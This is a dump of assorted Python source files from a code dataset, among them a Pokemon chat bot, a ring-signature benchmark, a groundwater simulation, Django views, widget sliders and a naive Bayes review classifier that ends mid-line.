self.details['gamerunning'] = Anagram()\n return 'A new anagram has been created:\\n' + self.details['gamerunning'].getWord(), True\n else:\n return 'You do not have permission to start a game in this room. (Requires %)', False\n elif msg == 'hint':\n if self.details['gamerunning']:\n return 'The hint is: ' + self.details['gamerunning'].getHint(), True\n else:\n return 'There is no active anagram right now', False\n elif msg == 'end':\n if canStartGame(self, user):\n if isGameType(self.details['gamerunning'], Anagram):\n solved = self.details['gamerunning'].getSolvedWord()\n self.details['gamerunning'] = None\n return 'The anagram was forcefully ended by {baduser}. (Killjoy)\\nThe solution was: **{solved}**'.format(baduser = user['unform'], solved = solved), True\n else:\n return 'There is no active anagram or a different game is active.', False\n else:\n \treturn 'You do not have permission to end the anagram. (Requires %)', True\n else:\n return '{param} is not a valid parameter for ~anagram. Make guesses with ~a'.format(param = msg), False\n elif cmd == 'a':\n if isGameType(self.details['gamerunning'], Anagram):\n if self.details['gamerunning'].isCorrect(msg.replace(' ','').lower()):\n solved = self.details['gamerunning'].getSolvedWord()\n timeTaken = self.details['gamerunning'].getSolveTimeStr()\n self.details['gamerunning'] = None\n return 'Congratulations, {name} got it{time}\\nThe solution was: {solution}'.format(name = user['unform'], time = timeTaken, solution = solved), True\n else:\n return '{test} is wrong!'.format(test = msg.lstrip()), True\n else:\n return 'There is no anagram active right now', True \n \n\n # Commands with awful conditions last\n elif cmd in formats:\n return 'Format: http://www.smogon.com/dex/xy/formats/{tier}/'.format(tier = cmd), True\n # This command is here because it's an awful condition, so try it last :/\n elif [p for p in Pokedex if re.sub('-(?:mega(?:-(x|y))?|primal|xl|l)','', cmd, flags=re.I) in p.replace(' ','').lower()]:\n cmd = re.sub('-(?:mega(?:-(x|y))?|primal)','', cmd)\n substitutes = {'gourgeist-s':'gourgeist-small', # This doesn't break Arceus-Steel like adding |S to the regex would\n 'gourgeist-l':'gourgeist-large', # and gourgeist-s /pumpkaboo-s still get found, because it matches the\n 'gourgeist-xl':'gourgeist-super', # entry for gougeist/pumpkaboo-super\n 'pumpkaboo-s':'pumpkaboo-small',\n 'pumpkaboo-l':'pumpkaboo-large',\n 'pumpkaboo-xl':'pumpkaboo-super',\n 'giratina-o':'giratina-origin',\n 'mr.mime':'mr_mime',\n 'mimejr.':'mime_jr'}\n if cmd.lower() not in (p.replace(' ','').lower() for p in Pokedex):\n return '{cmd} is not a valid command'.format(cmd = cmd),True\n if cmd in substitutes:\n cmd = substitutes[cmd]\n return 'Analysis: http://www.smogon.com/dex/xy/pokemon/{mon}/'.format(mon = cmd), True\n \n else:\n return False, False\n\n\ndef isMaster(self, user):\n return user['name'] == self.details['master']\ndef canSee(self, user):\n return user['name'] == self.details['master'] or self.Groups[user['group']] >= self.Groups['%']\ndef canChange(self, user):\n return user['name'] == self.details['master'] or self.Groups[user['group']] >= self.Groups['#']\ndef canAddUser(self, user):\n return user['name'] == self.details['master'] or self.Groups[user['group']] >= self.Groups['#']\ndef canStartGame(self, user):\n return user['name'] == self.details['master'] or self.Groups[user['group']] >= self.Groups['%']\ndef isGameType(running, gameType):\n return type(running) == gameType \ndef acceptableWeakness(team):\n if not team: return False\n comp = {t:{'weak':0,'res':0} for t in Types}\n for poke in team:\n types = Pokedex[poke]['types']\n if len(types) > 1:\n for matchup in Types:\n eff = Types[types[0]][matchup] * Types[types[1]][matchup]\n if eff > 1:\n comp[matchup]['weak'] += 1\n elif eff < 1:\n comp[matchup]['res'] += 1\n else:\n for matchup in Types:\n if Types[types[0]][matchup] > 1:\n comp[matchup]['weak'] += 1\n elif Types[types[0]][matchup] < 1:\n comp[matchup]['res'] += 1\n for t in comp:\n if comp[t]['weak'] >= 3:\n return False\n if comp[t]['weak'] >= 2 and comp[t]['res'] <= 1:\n return False\n return True\ndef saveDetails(self):\n pass\ndef getURL():\n return 'https://github.com/QuiteQuiet/PokemonShowdownBot/'\ndef getJoke():\n people = ['Can-Eh-Dian', 'Disjunction', 'innovamania', 'iplaytennislol', 'marilli', 'Montsegur', 'Punchshroom', 'QueenOfLuvdiscs', 'Quite Quiet', 'scorpdestroyer', 'Teddeh', 'boltsandbombers', 'Deej Dy', 'Realistic Waters', 'Sir Kay', 'Chef Rice', 'SolarisFox', 'Soulgazer', 'The Goomy', 'xzern', 'Aladyyn', 'Blast Chance', 'Blastral', 'blaziken1337', 'Dentricos', 'Draeden', 'Finchinator', 'flcl', 'Hjad', 'kiyo', 'oshony', 'Pokedots', \"winter's howl\"]\n return people[randint(0, len(people)-1)]\n","sub_path":"commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":16610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"178591647","text":"from charm.toolbox.pairinggroup import PairingGroup, GT, pair, ZR\nfrom dualring import DualRing\nimport time\n\n\ndef main():\n # instantiate a bilinear pairing map\n pairing_group = PairingGroup('SS512')\n \n dualring = DualRing(pairing_group)\n pp = dualring.setup()\n sk = []\n pk = []\n rds = 100\n \n for num_u in range(10, 101, 10):\n sum_t = 0\n for i in range(0, rds):\n sk = []\n pk = []\n tmp = 0\n for j in range(0,num_u):\n start = time.time()\n a, b = dualring.keygen(pp)\n end = time.time()\n tmp += end - start\n sk.append(a)\n pk.append(b)\n sum_t += tmp\n key_t = sum_t / rds\n \n m = \"abc\"\n sum_t = 0\n for i in range(0,rds):\n start = time.time()\n sig = dualring.sign(pp, sk[0], pk, m)\n end = time.time()\n sum_t += end - start\n sign_t = sum_t / rds\n \n sum_t = 0\n for i in range(0,rds): \n start = time.time() \n dualring.verify(pp, sig, pk, m)\n end = time.time()\n sum_t += end - start\n ver_t = sum_t / rds\n \n print(\"len(pk) = \" + str(num_u))\n print(\"key_t: \" + str(key_t))\n print(\"sign_t: \" + str(sign_t))\n print(\"ver_t: \" + str(ver_t))\n\n\n\nif __name__ == \"__main__\":\n debug = True\n main()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"433053496","text":"import sys\nimport warnings\nfrom components.tokenizer import Lexer\nfrom components.parser import Parser\nfrom components.preprocessor import PreProcessor\nfrom components.codeGen import CodeGen\nfrom components.symbolTable import SymbolTable\n\nif __name__ == \"__main__\":\n # suppress warnings\n warnings.simplefilter(\"ignore\")\n\n with open(f\"{sys.argv[1]}\", \"r\") as f:\n inputData = f.read()\n\n # pre-process step, cleaning comments\n code = PreProcessor(inputData).filter()\n PreProcessor(code).check_PAR_balance()\n\n symbolTable = SymbolTable()\n\n # instantiate lexer object\n lexer = Lexer().get_lexer()\n # create tokens\n tokens = lexer.lex(code)\n\n # initialize llvmlite module, builder and buildInFunctions (pow, printf, sprinf)\n codegen = CodeGen()\n\n module = codegen.module\n builder = codegen.builder\n builtInFunctions = codegen.builtInFunctions\n\n # initialize parser\n pg = Parser()\n pg.parse()\n parser = pg.get_parser()\n # parse tokens creating ast\n ast = parser.parse(tokens)\n # create llvm ir\n codegen.create_ir(ast, symbolTable)\n codegen.save_ir(\"output/output.ll\")\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"632476889","text":"'''\nProvides a convenient representation of Jupyter's Slider widget and a manager to guarantee that all sliders always add to 1.0\n(for weight sliders).\n'''\nimport ipywidgets as widgets\n\n__author__ = \"Finn Frankis\"\n__copyright__ = \"Copyright 2019, Crypticko\"\n\nMAX_VAL = 1.0\nSTEP = 0.01\n\n'''\nWraps Jupyter's 'Slider' widget (stored as obj) with a slider description and a boolean keeping track of whether the slider was edited manually or programatically.\n\n'''\nclass Slider:\n def __init__(self, description, initVal=None, static=False):\n self.obj = widgets.FloatSlider(min=0.0, max=MAX_VAL, step=STEP, \n value=initVal)\n\n self.editedManually = False\n self.description = description\n self.initVal = initVal\n\n self.static = static\n \n def getReading(self):\n return self.obj.value\n \n def setReading(self, newReading):\n self.obj.value = newReading\n \n '''\n Initializes the slider value given the initial value. This ensures that all\n sliders will start out with equal values.\n '''\n def initSliderValue(self, initVal):\n if self.initVal is None:\n self.setReading(initVal)\n\n# Manages any number of weight sliders, ensuring that they always add to 1.0 regardless of modification.\nclass SliderManager:\n '''\n Initializes the slider manager. editedFunction is the function to be triggered when a given slider is edited.\n All subsequent arguments are the sliders to be added to the manager.\n '''\n def __init__(self, editedFunction, slidersList):\n self.editedFunction = editedFunction\n self.slidersList = slidersList\n for slider in slidersList:\n slider.initSliderValue(MAX_VAL / len(slidersList))\n slider.obj.observe(self.sliderEdited, 'value')\n \n # Retrieves a given slider by its description.\n def getSlider(self, description):\n return [slider for slider in self.slidersList if slider.description == description][0]\n\n # Generates a box widget which displays any number of sliders adjacent to their description.\n def generateDisplayBox(self):\n leftBoxElements = [widgets.Label(str(slider.description)) for slider in self.slidersList]\n rightBoxElements = [slider.obj for slider in self.slidersList]\n return widgets.HBox([widgets.VBox(leftBoxElements), widgets.VBox(rightBoxElements)])\n\n # Triggers when one of the sliders is edited.\n def sliderEdited(self, change):\n sliders = {slider.obj:slider for slider in self.slidersList}\n editedSlider = change.owner\n deltaVal = change.new - change.old\n diffPerSlider = deltaVal / (len(sliders) - 1)\n\n isEditingAnything = False\n for s, sliderProperties in sliders.items():\n isEditingAnything = isEditingAnything or sliderProperties.editedManually # determine whether any value in the sliders dictionary is True\n\n # If the user manually edited a different slider, then this function should exit early because it was triggered\n # by the programmatic editing of this slider. Prevents a recursive loop.\n if isEditingAnything:\n return False\n\n sliders[editedSlider].editedManually = True\n\n i = 0\n\n uneditedSliders = dict(sliders)\n uneditedSliders.pop(editedSlider)\n\n # Sort the sliders by the amount of distance they can move (the one with the greatest distance should be edited first).\n # If the edited slider was decreased, all the other sliders have to move up, so the one closest to 0.0 should come last.\n # If the edited slider was increased, all the other sliders have to move down, so the one closest to 1.0 should come last. \n if deltaVal < 0:\n sortedSliders = sorted(uneditedSliders.items(), key = lambda kv: -kv[0].value)\n else:\n sortedSliders = sorted(uneditedSliders.items(), key = lambda kv: kv[0].value - MAX_VAL)\n\n for s, editing in sortedSliders:\n origVal = s.value\n s.value = max(0, s.value - diffPerSlider)\n\n # Only subtracts off the difference which was calculated in the slider (useful when the difference brings the\n # slider value to a number less than zero).\n deltaVal -= (origVal - s.value)\n if i != (len(sortedSliders) - 1): # avoid unnecessary division by zero on the last iteration (value will not be used again)\n diffPerSlider = deltaVal / (len(sortedSliders) - i - 1)\n i += 1\n \n # Reset that a value was edited manually to ensure other sliders can trigger this function.\n sliders[editedSlider].editedManually = False\n self.editedFunction()\n","sub_path":"finndex/aggregate/sliders.py","file_name":"sliders.py","file_ext":"py","file_size_in_byte":4591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"500254272","text":"from django.conf.urls import url\nfrom rest_framework.urlpatterns import format_suffix_patterns\nfrom . import views\n\nurlpatterns = [\n url(r'^informals/$', views.Informal1.as_view()),\n url(r'^informals/genres/$', views.InformalsGenreList.as_view()), #list of all genres\n url(r'^informals/genre/(?P[0-9]+)/$', views.InformalsGenre1.as_view()), #info on one genre\n url(r'^informals/event/(?P[0-9]+)/$', views.InformalsEvent1.as_view()),#info on one event\n url(r'^informals/events/(?P[0-9]+)/$', views.InformalsEventList.as_view()),#all events under a genre\n]\n\nurlpatterns = format_suffix_patterns(urlpatterns)","sub_path":"informals/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"40802658","text":"from django.shortcuts import render,get_object_or_404\r\nfrom django.http import Http404\r\nfrom music.models import Album, Song\r\nfrom django.http import HttpResponse\r\n\r\n\r\ndef index(request):\r\n all_album = Album.objects.all()\r\n context = {\"all_album\": all_album}\r\n return render(request, 'music/index.html', context)\r\n\r\n\r\n\r\ndef details(request,id):\r\n # context = get_object_or_404(Album, pk=id)\r\n try:\r\n album = Album.objects.get(id=id)\r\n song1 = Song.objects.filter(album_id='1')\r\n song2 = Song.objects.filter(album_id='3')\r\n context ={\r\n \"album\": album,\r\n \"song1\": song1,\r\n \"song2\": song2,\r\n }\r\n except Album.DoesNotExist:\r\n raise Http404(\"Album does not exist\")\r\n return render(request, 'music/details.html', context)\r\n\r\n","sub_path":"website/music/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"435140989","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\n# 建立A矩阵m-1行,n-1列\nQ = -0.5\ndt = 0.5\ndx = 1\ndy = 1\nwell_a = 10\nwell_b = 10\nwell_point_all = []\nm = 50\nn = 50\nl = n - 0\nla = [i for i in range(51)]\nK = 0.025\nu = 0.05\nh1=35\nh2=13\naa = K / u\nra = aa * dt / dx / dx\nrb = aa * dt / dy / dy\n\n\ndef well(well_point, init_arr): # point是一个tuple,init_arr是初始水头矩阵\n well_y, well_x = well_point\n if well_y - init_arr[well_y, well_x] < 0:\n a = int(np.round(init_arr[well_x, well_y] - well_y))\n for i in range(0, a):\n well_point_all.append((well_y, well_x + i))\n return well_point_all\n\n\ndef min(arr, i):\n a = arr[0, i]\n m, n = arr.shape\n for j in range(1, m):\n if a > arr[j, i]:\n a = arr[j, i]\n return a\n\n\ndef up_water_line(arr):\n # m,n = arr.shape\n # for i in range(0,n):\n # for j in range(0,m):\n # if j>arr[j,i]:\n # arr[j:m,i]=0\n # break\n return arr\n\n\n\ndef init_water(m, n, h1, h2, dx, l):\n result = np.zeros((m+1,n + 1))\n for i in range(0, n + 1):\n for j in range(0, m + 1):\n result[j, i] = (h1 ** 2 + ((h2 ** 2 - h1 ** 2) * i * dx / l)) ** 0.5\n # temp = np.round(result[j,i])\n return result\n\n\ndef get_water_line(arr):\n m, n = arr.shape\n list = []\n for j in range(0, n):\n a = min(arr, j)\n list.append(a)\n return list\n\n\ndef creat_AB(m, n, ra, rb):\n matrix_a = np.diag(np.ones((1, m - 1)).ravel() * (1 + 2 * rb))\n matrix_a = matrix_a + np.diag(np.ones((1, m - 2)).ravel() * (-1.0 * rb), 1)\n matrix_a = matrix_a + np.diag(np.ones((1, m - 2)).ravel() * (-1.0 * rb), -1)\n # m是一个m-1 x n-1的三对角矩阵\n matrix_b = np.diag(np.ones((1, n - 1)).ravel() * (1 + 2 * ra))\n matrix_b = matrix_b + np.diag(np.ones((1, n - 2)).ravel() * (-1.0 * ra), 1)\n matrix_b = matrix_b + np.diag(np.ones((1, n - 2)).ravel() * (-1.0 * ra), -1)\n return matrix_a, matrix_b\n\n\ndef filter_well(arr, i, j):\n q = 0\n for a in well_point_all:\n if (i,j) == a:\n q = Q * dt * 0.5 / 0.05\n return q\n\n\ndef creat_b(arr,arr1, m, j, ra, rb):\n b = np.zeros((m - 1, 1))\n # b[0] = arr[0,j] + rb*arr[1,j+1] +rb*arr[1,j-1]\n for i in range(0, m - 1):\n b[i] = (1 - 2 * ra) * arr[i + 1, j] + ra * arr[i + 1, j + 1] + ra * arr[i + 1, j - 1] + filter_well(arr, i, j)\n b[0] = b[0] + rb * arr1[0, j]\n b[m - 2] = b[m - 2] + rb * arr1[m, j]\n # print('b.ravel()', b.ravel())\n return b\n\n\ndef creat_c(arr,arr2, n, i, ra, rb):\n c = np.zeros((1, n-1))\n # b[0] = arr[0,j] + rb*arr[1,j+1] +rb*arr[1,j-1]\n for j in range(0, n - 1):\n c[:, j] = (1 - 2 * rb) * arr[i, j + 1] + rb * arr[i + 1, j + 1] + rb * arr[i - 1, j + 1] + filter_well(arr, i,\n j)\n c[:, 0] = c[:, 0] + ra * arr2[i, 0]\n c[:, n - 2] = c[:, n - 2] + ra * arr2[i, n]\n # print('c.ravel()',c.ravel())\n return c.ravel()\n\n\n# 抽水点位的确定,井坐标为(a,b)\n\ndef calculate(arr,m,n,ra,rb):\n arr1= arr.copy()\n arr1[:,0]=h1\n arr1[:,n]= h2\n arr1=up_water_line(arr1)\n A, B = creat_AB(m, n, ra, rb)\n\n for i in range(1, n):\n b = creat_b(arr,arr1, m, i, ra, rb)\n a = np.linalg.solve(A, b)\n arr1[1:m, i] = a.ravel()\n\n arr2 = arr1.copy()\n arr2[:, 0] = h1\n arr2[:, n] = h2\n # arr2=up_water_line(arr2)\n for j in range(1, m):\n c = creat_c(arr1,arr2, n, j, ra, rb)\n a = np.linalg.solve(B,c)\n arr2[j, 1:n] = a\n\n arr=up_water_line(arr2)\n list = get_water_line(arr)\n\n return arr, list\n\n\ndef start():\n\n arr = init_water(m, n, 35, 13, 1, l)\n arr = up_water_line(arr)\n plt.title(\"x,y 水头分布图\")\n plt.rcParams['font.sans-serif'] = ['SimHei']\n plt.rcParams['axes.unicode_minus'] = False\n well((25,18),arr)\n # wframe=ax.plot_surface(X, Y, arr, rstride=1, cstride=1, cmap=plt.cm.coolwarm)\n list_all=[]\n\n for iter in range(0, 10):\n arr2, list = calculate(arr, m, n, ra, rb)\n arr =arr2\n print('list', list)\n list_all.append(list)\n # print(arr[:,0],arr[:,18],arr[:,19],arr[:,20],arr[:,22])\n # print('list_all',list_all)\n plt.plot(la, list_all[0], label='training accuracy')\n plt.plot(la, list_all[2], label='training accuracy')\n plt.plot(la, list_all[3], label='training accuracy')\n plt.plot(la, list_all[5], label='training accuracy')\n plt.plot(la, list_all[9], label='training accuracy')\n plt.show()\n\nif __name__ == \"__main__\":\n start()\n","sub_path":"adi/water4.py","file_name":"water4.py","file_ext":"py","file_size_in_byte":4624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"586288573","text":"class Solution(object):\n def combinationSum3(self, k, n):\n \"\"\"\n :type k: int\n :type n: int\n :rtype: List[List[int]]\n \"\"\"\n candidates = [i for i in range(1, 10)]\n Solution.res = []\n self.curse(candidates, [], 0, n, k)\n return Solution.res\n \n def curse(self, candidates, rest, start_idx, target, k):\n if len(rest) > k: return\n if target == 0 and len(rest) == k:\n Solution.res.append(rest)\n return\n for i in range(start_idx, len(candidates)):\n if i > start_idx and candidates[i-1] == candidates[i]: continue\n if candidates[i] <= target:\n self.curse(candidates, rest + [candidates[i]], i+1, target-candidates[i], k)","sub_path":"Combination Sum III.py","file_name":"Combination Sum III.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"627288788","text":"import rbql\n\ninput_table = [\n ['Roosevelt',1858,'USA'],\n ['Napoleon',1769,'France'],\n ['Dmitri Mendeleev',1834,'Russia'],\n ['Jane Austen',1775,'England'],\n ['Hayao Miyazaki',1941,'Japan'],\n]\nuser_query = 'SELECT a1, a2 % 1000 WHERE a3 != \"USA\" LIMIT 3'\noutput_table = []\nerror_info, warnings = rbql.table_run(user_query, input_table, output_table)\nif error_info is None:\n for record in output_table:\n print(','.join([str(v) for v in record]))\nelse:\n print('Error: {}: {}'.format(error_info['type'], error_info['message']))\n","sub_path":"test/library_demos/table_test.py","file_name":"table_test.py","file_ext":"py","file_size_in_byte":551,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"24586348","text":"from django.urls import path\nfrom . import views\nfrom . import admin_views\n\nurlpatterns = [\n path('register/',views.RegisterView.as_view()),\n path('login/',views.LoginView.as_view()), \n path('test//',views.TestAttendingView.as_view()),\n path('home/',views.HomeView.as_view()),\n path('add/',views.TestCreationView.as_view()),\n path('progress/', views.SaveProgressView.as_view()),\n #Admin views\n path('dashboard/', admin_views.adminhome, name=\"admin-home\"),\n path('dashboard/students/', admin_views.students, name=\"admin-students\"),\n path('dashboard/approval/', admin_views.approval, name=\"admin-approval\"),\n]\n\n","sub_path":"quizapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"356798001","text":"filename = 'alice.txt'\n\ntry:\n\twith open(filename) as f:\n\t\tcontents = f.read()\nexcept FileNotFoundError:\n\tprint(\"Can't find \" + filename)\nelse:\n\ttimes = contents.lower().count('the')\n\tprint(\"Word 'the' has been found \" + str(times) + \" times.\")","sub_path":"chapter10/10-10.py","file_name":"10-10.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"193684681","text":"import numpy as np\n\n\ndef _mean_padding(arr, startpoint=0):\n arr = arr[startpoint:]\n len_of_arr = len(arr)\n len_of_newarr = 2 ** len(format(len_of_arr, 'b'))\n additional_arr = np.ones(len_of_newarr - len_of_arr) * np.mean(arr)\n return np.hstack((arr, additional_arr))\n\n\ndef _lpfilter(fl, kc, rmdc=False):\n ll = len(fl)\n Fk = np.fft.fft(fl)\n Fk[kc+1:ll-kc] = 0\n if rmdc == True:\n Fk[0] = 0\n return np.real(np.fft.ifft(Fk))\n\n\ndef lpfilter(fl, cutoff_hz, samp_hz=1000, init=0, rmdc=True, istime=False):\n ''' \n Return ローパスフィルターを施した1D-numpy配列(デフォルト).\n istime=True を指定すると2D-numpy配列(Parameters の istime を参照).\n \n Parameters\n ----------\n fl : array like\n サンプリングデータ配列. 1D-numpy配列.\n cutoff_hz : int\n ローパスフィルターのカットオフ周波数.\n samp_hz : int, optional (1000)\n サンプル周波数. デフォルトで1000[Hz].\n init : int or float, optional\n 初期時刻[sec]. デフォルトでは0[sec]. \n rmdc : bool, optional (True)\n 直流成分(バイアス)を取り除くか否か. デフォルトではTrue(取り除く).\n istime : bool, optional (False)\n istime=True で時刻と対になった2D-numpy配列を返す. shapeは(2^n, 2).\n '''\n fl_len = len(fl)\n startpoint = int( init * samp_hz )\n arr = _mean_padding(fl, startpoint=startpoint)\n arr_len = len(arr)\n if 2 * cutoff_hz <= samp_hz:\n kc = int( np.round( cutoff_hz * arr_len / samp_hz ) )\n arr = _lpfilter(arr, kc, rmdc)\n if istime == True:\n t_arr = np.arange(arr_len)/samp_hz + init\n arr = np.array([t_arr, arr]).T\n return arr[:(fl_len - startpoint)]\n","sub_path":"up-down_stairs/lpf.py","file_name":"lpf.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"473814610","text":"n = int(input('Quantos termos voce quer mostrar? '))\nfn1 = 0\nfn2 = 1\nprint('{} - {}'.format(fn1, fn2), end='')\ncont = 3\nwhile cont <= n:\n fn3 = fn1 + fn2\n print('- {}'.format(fn3), end='')\n fn1 = fn2\n fn2 = fn3\n cont = cont + 1\nprint(' Fim')\n","sub_path":"Fundamentos/9 - EstruturaRepeticaoWhile/063 - SequenciaFibonacciV1.0.py","file_name":"063 - SequenciaFibonacciV1.0.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"155832617","text":"import joblib\nimport os\nfrom argparse import ArgumentParser\nfrom sklearn import datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.multiclass import OneVsRestClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.utils import shuffle\nfrom sklearn.preprocessing import normalize\nfrom feature_extractor import load_all_features\n\n\ndef main(args):\n # Load data\n dataset_info = datasets.load_files(args.train_dir, None, None, False, False)\n raw_features = load_all_features(file_path=args.feat_dir, combined=True)\n\n if args.validate:\n X_train_raw, X_test_raw, y_train, y_test = train_test_split(\n raw_features, dataset_info.target, test_size=1 - args.train_ratio, random_state=args.random_state)\n else:\n X_train_raw, y_train = shuffle(raw_features, dataset_info.target, random_state=args.random_state)\n\n del raw_features\n\n # LDA dimension reduction\n lda = LinearDiscriminantAnalysis(solver='eigen', shrinkage='auto', n_components=18)\n X_train = lda.fit_transform(X_train_raw, y_train)\n del X_train_raw\n\n if args.validate:\n X_test = lda.transform(X_test_raw)\n del X_test_raw\n\n # Normalize features\n X_train_n = normalize(X_train)\n if args.validate:\n X_test_n = normalize(X_test)\n\n # Train classifier\n classifier = OneVsRestClassifier(SVC())\n classifier.fit(X_train_n, y_train)\n print('Train set score:', classifier.score(X_train_n, y_train))\n if args.validate:\n print('Test set score:', classifier.score(X_test_n, y_test))\n\n # Save model\n if not os.path.exists(args.save_dir):\n os.makedirs(args.save_dir)\n joblib.dump(lda, os.path.join(args.save_dir, 'lda.model'))\n joblib.dump(classifier, os.path.join(args.save_dir, 'svm.model'))\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--train_dir', type=str, required=True)\n parser.add_argument('--feat_dir', type=str, required=True)\n parser.add_argument('--save_dir', type=str, required=True)\n parser.add_argument('--validate', action='store_true')\n parser.add_argument('--train_ratio', type=float, default=0.8)\n parser.add_argument('--random_state', type=int, default=0)\n args = parser.parse_args()\n\n main(args)\n","sub_path":"task1/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"199405893","text":"from collections import defaultdict\nimport math\nimport time\n\n\n#리뷰 파일을 열어서 list에 리뷰를 담는 함수\ndef getReviews(filename):\n reviews = []\n\n #encoding issue 처리\n tmp = open(filename, 'r', encoding=\"UTF-8\")\n\n for line in tmp:\n # 첫 줄 제외하고 reviews 리스트에 리뷰 담기\n if not line.startswith('id'):\n reviews.append(line)\n\n return reviews\n\n#리뷰 list를 분류기에 넣기 전에 긍정/부정 sorting 작업을 위한 함수\ndef sortReviews(reviews):\n tempgoodReviews = []\n tempbadReviews = []\n\n goodReviews = []\n badReviews = []\n\n for review in reviews:\n line = review.split()\n\n if line[-1] == '1':\n tempgoodReviews.append(line[1: len(line)-1])\n\n elif line[-1] == '0':\n tempbadReviews.append(line)\n\n for line in tempgoodReviews:\n for word in line:\n goodReviews.append(word)\n\n for line in tempbadReviews:\n for word in line:\n badReviews.append(word)\n\n return goodReviews, badReviews\n\n#긍정/부정 각각 어떤 단어들이 몇 번 등장하는지 개수 체크하는 함수 >> 리스트 요소 형태 (단어, 긍정 수, 부정 수)\ndef makeCount(reviews):\n '''\n print(\"디버깅1: getReviews\")\n counts = []\n\n total_words = totalWords(goodReviews, badReviews)\n print(\"디버깅2\")\n\n for word in total_words:\n num_good = goodReviews.count(word)\n num_bad = badReviews.count(word)\n\n counts.append((word, num_good, num_bad))\n\n print(\"디버깅3: getReviews 끝\")\n return counts\n '''\n print(\"디버깅 1 : makeCount\")\n counts = defaultdict(lambda: [0, 0])\n\n for i in range(len(reviews)):\n if reviews[i] in counts:\n counts[reviews[i]] += 1\n else:\n counts[reviews[i]] = 1\n print(\"디버깅 2: makeCount 끝\")\n # counts = list(counts.items())\n return counts\n\n#전체 단어를 중복 하는 것을 하나로 표현한 리스트 반환하는 함수\ndef totalWords(goodReviews, badReviews):\n return list(set(goodReviews + badReviews))\n\n#리뷰의 단어 개수 체크한 결과를 확률로 바꿔주는 함수\ndef makePossibility(good_count, bad_count, goodReviews, badReviews):\n #긍정 단어 수\n num_good_words = len(goodReviews)\n #부정 단어 수\n num_bad_words = len(badReviews)\n '''\n #good word list\n good_word_list = list(good_count.keys())\n #bad word list\n bad_word_list = list(bad_count.keys())\n '''\n #전체 단어\n total_word = list(set(goodReviews + badReviews))\n #전체 단어 수\n num_total_words = len(total_word)\n\n #P(긍정)\n total_goodP = num_good_words/num_total_words\n #P(부정)\n total_badP = num_bad_words/num_total_words\n\n possibility = defaultdict(lambda: [0, 0])\n\n print(\"디버깅 3 : makePossibility\")\n #print(total)\n for word in total_word:\n if word in good_count:\n #P(word|긍정)\n #goodP = (good_count[word] + 1) / (num_good_words + num_total_words)\n num_good = good_count[word]\n elif word not in good_count:\n #goodP = 1 / (num_good_words + num_total_words)\n num_good = 0\n\n if word in bad_count:\n #P(word|부정)\n #badP = (bad_count[word] + 1) / (num_bad_words + num_total_words)\n num_bad = bad_count[word]\n elif word not in bad_count:\n #badP = 1 / (num_bad_words + num_total_words)\n num_bad = 0\n\n goodP = (num_good + 1) / (num_good_words + num_total_words)\n badP = (num_bad + 1) / (num_bad_words + num_total_words)\n possibility[word] = [goodP, badP]\n\n print(\"디버깅 4 : makePossibility 끝\")\n return possibility, total_goodP, total_badP\n\n#트레이닝 데이터 셋을 통해 학습 후 확률에 대한 표를 반환하는 함수 : possibility와 순서가 동일한 단어모음 리스트 반환\ndef training():\n origin_reviews = getReviews('ratings_train.txt')\n goodReviews, badReviews = sortReviews(origin_reviews)\n\n good_count = makeCount(goodReviews)\n bad_count = makeCount(badReviews)\n #print(good_count)\n #print(goodReviews)\n #print(bad_count)\n #print(badReviews)\n\n possibility, total_goodP, total_badP = makePossibility(good_count, bad_count, goodReviews, badReviews)\n #print(possibility)\n #print(total_goodP)\n #print(total_badP)\n\n #print(possibility[word_only.index('할')][1])\n #print(possibility[word_only.index('할')][2])\n\n #print(word_only)\n return possibility, total_goodP, total_badP\n\n#새로운 리뷰에 대해서 긍정인지 부정인지 판단해주는 함수\ndef classify(possibility, total_goodP, total_badP, newReview):\n\n newWords = list(newReview.split())\n log_goodP = 0.0\n log_badP = 0.0\n\n #이방법 개빨라\n for word in newWords:\n if word in possibility:\n value = possibility[word]\n log_goodP += math.log(value[0])\n log_badP += math.log(value[1])\n elif word not in possibility:\n log_goodP += math.log(0.829)\n log_badP += math.log(0.9)\n\n goodP = log_goodP + math.log(total_goodP)\n badP = log_badP + math.log(total_badP)\n\n if goodP > badP:\n if exceptions('안', '좋', newReview) == 0:\n return 0\n if exceptions('별로', '좋', 